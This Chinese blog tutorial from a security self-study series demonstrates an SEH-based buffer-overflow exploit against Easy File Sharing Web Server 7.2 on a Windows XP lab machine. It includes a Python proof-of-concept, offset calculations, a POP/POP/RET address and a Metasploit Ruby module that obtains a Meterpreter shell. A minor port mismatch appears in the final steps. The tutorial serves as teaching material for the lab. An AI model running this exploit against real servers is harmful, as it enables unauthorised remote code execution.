您的位置:首页 > 运维架构 > Shell

[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取

2020-03-04 22:37 1356 查看

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了XP和Kali环境搭建,通过Windows漏洞实现栈溢出攻击,通过Metasploit反弹shell,从而Kali系统获取了XP系统的shell。本文将讲解基于SEH异常处理机制的栈溢出漏洞,XP系统通过连接Easy File Sharing Web Server 7.2文件传输服务,然后利用一个恶意的请求头部(HEAD或GET)引起缓冲区溢出,从而改写SEH链的地址并反弹Shell。基础性文章,希望对您有所帮助。

本文的内容包括:

  • 了解SEH异常处理机制,理解简单栈溢出实验流程及原理
  • 搭建环境:XP系统安装Easy File Sharing Web Server 7.2、Kali系统控制台利用
  • 分析利用SHE异常处理机制绕过GS的原理
  • 实现基于SEH的栈溢出实验,使用Msfconsole进入msf控制台
  • 寻找溢出点
  • 寻找PPR
  • 编写漏洞利用脚本,实现自动化攻击
  • 通过Metasploit反弹Shell

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

软件安全:https://github.com/eastmountyxz/Software-Security-Course/tree/master/6-Windows-Vulnerability
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
工具地址:https://github.com/eastmountyxz/Security-Software-Based


文章目录

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

一.XP系统与Kali网络配置

本实验目的是Kali系统利用Windows XP栈溢出漏洞,以Metasploit溢出bof-server.exe为例,进行攻击及shell反弹。在进行所有实验之前,需要保证虚拟机各系统之间能够相互通信,安装过程详见之前的文章。

第一步,点击“虚拟机”->“设置”。

第二步,将XP和Kali网络连接属性均勾选成“NAT模式”,然后点击确定。

第三步,配置后在kali的shell上用ifconfig命令查看主机IP。

  • Kali:ifconfig 192.168.44.129

第四步,在Windows的命令行中用ipconfig查看主机IP。

  • XP:ipconfig 192.168.44.130

同时,主机Win10系统也能够Ping通虚拟机和Kali系统。


二.开启服务器程序

Easy File Sharing Web Server 7.2:github下载地址


第一步,在主机Win10系统中设置共享文件夹,将Easy File Sharing Web Server共享给虚拟机中的XP系统。

它是一种允许访客容易地经由浏览器上传/下载文件的文件分享系统。

第二步,在XP系统中安装该软件。

安装成功之后如下图所示:

第三步,运行Easy File Sharing Web Server,此时URL为XP系统的IP地址(http://192.168.44.130),端口为80和443。注意,左上角“Start”运行该软件。


三.生成字符串序列

在进行栈溢出攻击之前,我们首先需要确定溢出点位置。在Kali系统中通过一些方法生成字符串序列,并发送至XP系统让其Easy File Sharing Web Server异常。这里,由于需要将字符序列构造到请求头中,形成"HEAD " + 字符序列 + " HTTP/1.0\r\n\r\n"的格式。

漏洞点:
在处理请求时存在漏洞,一个恶意的请求头部(HEAD或GET)就可以引起缓冲区溢出,从而改写SEH链的地址。基本方法:填充物 +pop pop retn 指令序列地址+shellcode。


第一步,在Kali系统中输入Msfconsole打开msf。

msfconsole

第二步,输入search ms08-067查找漏洞。大家简单了解其功能,后续会写一篇文章专门分享。

search ms08-067

第三步,使用Metasploit中的pattern_create.rb脚本生成字符序列并存储至1.txt文件。

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 10000 > 1.txt

查看创建的“1.txt”如下图所示:

第四步,通过Python创建“ HTTP/1.0\r\n\r\n”,并拼接成文件“3.txt”。

python -c "print(' HTTP/1.0\r\n\r\n')" > 2.txt
cat 1.txt 2.txt > 3.txt

补充Linux cat命令:

cat 命令用于连接文件并打印到标准输出设备上

  • (1) 将textfile1文档内容加上行号后输入textfile2文档
    cat -n textfile1 > textfile2
  • (2) textfile1和textfile2文档内容加上行号(空白行不加)后将内容附加到textfile3文档里
    cat -b textfile1 textfile2 >> textfile3
  • (3) 清空/etc/test.txt文档内容
    cat /dev/null > /etc/test.txt

此时输出结果如下图所示:

注意,后续第五部分我们将发送该文件至远程XP服务器。


四.运行Immunity Debbuger监听服务器

Immunity Debbuger软件:github下载地址

第一步,启动Easy File Sharing Web Server 7.2并将进程加载到Immunity Debbuger中。

第二步,打开Immunity Debugger软件,点击“File”->“Attach”,显示目标机上运行的所有进程。

第三步,查看XP系统上的所有进程,找到名称为Easy File Sharing Web Server 7.2所在的进程,并选中该进程单击右下角的Attach按钮。

此时,显示Easy File Sharing Web Server 7.2程序的运行状态如下:

第四步,将Immunity Debugger开启为运行状态。
Immunity Debugger右下角为Paused,说明Easy File Sharing Web Server 7.2加载到ImmunityDebugger中处于暂停状态。

第五步,单击Play按钮让程序处于运行状态。

此时,看到Immunity Debugger右下角为运行状态。到此,我们已经将Easy File Sharing Web Server 7.2加载到Immunity Debugger中,并处于运行状态。


五.Kali远程连接发送请求

接着我们回到Kali系统,尝试将“3.txt”文件发送给XP服务器,其IP地址为192.168.44.130,端口号为80。需要注意,Easy File Sharing Web Server 7.2软件处于运行监听状态。

但作者总是报错“Connection closed by foreign host”,而且未解决,哎,能力还是不足啊!为了继续试验,我学习了冰河老师的文章,采用Python脚本发送远程请求。

参考文章:渗透之——使用Metasploit实现基于SEH的缓冲区溢出攻击 - 冰河老师


第一步,撰写Python脚本代码,详见exploit_seh.py文件。

# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow
# Date: 2019-01-16
# Exploit Author: binghe
# Version: 7.2
# Tested on: XP SP3 EN
# category: Remote Exploit
# Usage: ./exploit.py ip port

import socket
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))

entire=4500

# Next SEH
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab......"

# HEAD
a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."

该Python脚本中buff变量为我们通过Metasploit从pattern_create.rb文件生成的10000个字符,复制即可;接收的两个变量为IP地址和端口号。注意,作者已将该脚本及所有实验软件上传至我的Github软件安全实验6中,请读者下载。

第二步,将脚本文件发送至Kali系统。
常见的主机Win10、虚拟机XP系统与Kali系统相互交互和传输文件方法为:

  • 文件夹共享
  • 百度网盘链接下载
  • 远程服务传送

第三步,运行Python脚本文件,发送 “HEAD " + buff + " HTTP/1.0\r\n\r\n” 给XP系统服务器,并导致缓冲区溢出。

python ./exploit_seh.py 192.168.44.130 80


六.确定溢出点的位置

经过以下步骤:

  • 将Easy File Sharing Web Server 7.2加载到Immunity Debugger中,并处于运行状态
  • 发送溢出字符序列
  • 查看Easy File Sharing Web Server 7.2溢出地址

此时,在XP系统Immunity Debugger软件中单击“View”->“SEH chain”。

输出结果如下图所示,可以看到SEH链(结构化异常处理)。这就是Easy File Sharing Web Server 7.2的溢出地址。

  • Catch块的地址为46356646
  • 下一条SEH记录地址为34664633


七.计算偏移量

第一步,计算Catch块偏移量。

  • -q 46356646 -l 10000
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 46356646 -l 10000
[*] Exact match at offset 4065

第二步,计算下一条SEH记录偏移量。

  • -q 34664633 -l 10000
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 34664633 -l 10000
[*] Exact match at offset 4061

对应的Kali系统MSF控制台命令运行结果如下:

记住两个偏移量:4065和4061。


八.查找DLL文件

接着我们需要使用Immunity Debugger的插件Mona,将Python脚本下载并复制到安装的文件夹下。下载地址:https://github.com/corelan/mona

第一步,将mona.py复制到XP系统目录。

  • C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

第二步,在Immunity Debugger命令行下输入如下“!mona modules”命令启动Mona分析DLL文件。

!mona modules

第三步,从输出很多DLL文件中找到ImageLoad.dll文件,并导出复制至Kali系统。
需要注意,我们需要POP/POP/RET指令的地址来载入下一条SEH记录的地址,并跳转到攻击载荷。这需要一个外部的DLL文件载入一个地址,不过现在大多数最先进的操作系统都使用SafeSEH保护机制来编译DLL,因此我们需要一个没有被SafeSEH保护的DLL模块的POP/POP/RET指令地址,即ImageLoad.dll。

将XP系统C:…\Easy File Sharing Web Server\ImageLoad.dll复制到Kali系统。


九.寻找PPR

第一步,上传ImageLoad.dll到Kali系统,这里为主目录。

注意,作者采用的是百度云网盘在虚拟机、主机之间共享文件。

第二步,使用Metasploit的msfbinscan工具,查看ImageLoad.dll的POP/POP/RET指令序列。

msfconsolemsf > msfbinscan -p ./ImageLoad.dll

可以看到ImageLoad.dll的POP/POP/RET指令序列如下:

由于POP/POP/RET的指令太多,我只列出了部分指令序列信息。最后,我们就可以编写Metasoloit渗透SEH的脚本了。


十.脚本自动化攻击及shell提取

第一步,编写Ruby自动化攻击脚本。

seh_attack.rb

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name'            => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description'     => %q{
This Module Demonstrate SEH based overflow example
},
'Author'          => 'yanhan',

'Payload'         =>
{
'Space'       => 390,
'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
},
'Platform'      => 'Windows',
'Targets'       =>
[
[
'Easy File Sharing 7.2 HTTP',
{
'Ret'       => find it,
'Offset'    => find it
}
]
],
'DisclosureDate'  => '2019-01-16',
))
end

def exploit
connect
weapon = "HEAD "
weapon << make_nops(target['Offset'])
weapon << generate_seh_record(target['Ret'])
weapon << make_nops(20)
weapon << payload.encoded
weapon << " HTTP/1.0\r\n\r\n"
sock.put(weapon)
handler
disconnect
end
end

第二步,由于Msfbinscan返回很多地址,依次进行尝试,最终确定Ret为0x10022fd7,Offset为之前的4061,并修改脚本中的两个参数。

经过尝试0x10022fd7可以使用。Ret的值要和SEH栈溢出指令的地址一致,Offset的值要和第七步中找出的准确字节数一致。对应如下:

  • Ret => 0x10022fd7
  • Offset => 4061

第三步,将seh_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目录下。

cp ./seh_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter/
ls

第四步,运行攻击脚本并拿到了目标服务器的Meterpreter Shell。

  • 启动msf控制台
    msfconsole
  • 运行ruby脚本
    use exploit/windows/meterpreter/seh_attack.rb
  • 设置目标服务器IP地址(Windows XP系统)
    set RHOST 192.168.44.130
  • 设置目标服务器端口
    set RPORT 4242
  • 查看配置信息
    show options

第五步,调用exploit命令对栈溢出漏洞进行攻击。再输入ls,可以看到我们目标XP服务器的E盘内容已经被提权,这就是所谓的Windows漏洞利用。

补充谢公子大神的Exploit内容:

上面“ls”命令对应的内容即为XP系统桌面的文件,如下图所示:

需要注意,我们在执行这些操作过程中,XP系统的服务需要一直运行,处于监听状态。某些情况可能会提示错误“Exploit completed, but no session was created”,建议大家在目标机上多运行几次服务和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。


十一.总结

文章写到这里,就介绍完毕,希望文章对您有所帮助,尤其是文章扩展的几个工具,您下来也可以详细学习。这篇文章主要讲解了如果搭建XP和Kali环境,并实现基于SEH异常处理机制的栈溢出漏洞,通过Metasploit反弹shell,从而Kali系统获取了XP系统的shell。其原理是利用一个恶意的请求头部(HEAD或GET)引起缓冲区溢出,从而改写SEH链的地址并反弹Shell。该栈溢出的具体流程包括:

  • 搭建环境:XP系统安装Easy File Sharing Web Server 7.2、Kali系统控制台利用
  • 分析利用SHE异常处理机制绕过GS的原理
  • 实现基于SEH的栈溢出实验,使用Msfconsole进入msf控制台
  • 寻找溢出点
  • 寻找PPR
  • 编写漏洞利用脚本,实现自动化攻击
  • 通过Metasploit反弹Shell

虽然是非常基础的一篇文章,但希望读者阅读并完成文章的实验。接下来作者将继续学习并分享更多的Windows漏洞利用或网络安全的文章。最后给出相关的命令。

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第54篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

武汉加油!湖北加油!中国加油!!!

(By:Eastmount 2020-03-02 凌晨1点写于贵阳 http://blog.csdn.net/eastmount )

参考文献:
[1] 《软件安全》课程Windows漏洞利用实验 YH师弟
[2] https://github.com/corelan/mona
[3] 解读Linux安全机制之栈溢出保护 - macwe
[4] 渗透之——使用Metasploit实现基于SEH的缓冲区溢出攻击 - 冰河大神
[5] Metasploit Framework(MSF)的使用 - 谢公子
[6] msfconsole 控制台使用和操作 - xianjie0318
[7] smb(ms17-010)远程命令执行之msf - backlion
[8] https://github.com/eastmountyxz/Security-Software-Based
[9] Easy File Sharing Web Server 7.2 漏洞分析及利用 - 午夜红云
[10] 栈溢出笔记1.10 基于SEH的栈溢出 - hustd10
[11] https://github.com/eastmountyxz/Software-Security-Course

  • 点赞 2
  • 收藏
  • 分享
  • 文章举报
Eastmount 博客专家 发布了437 篇原创文章 · 获赞 5715 · 访问量 474万+ 他的留言板 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐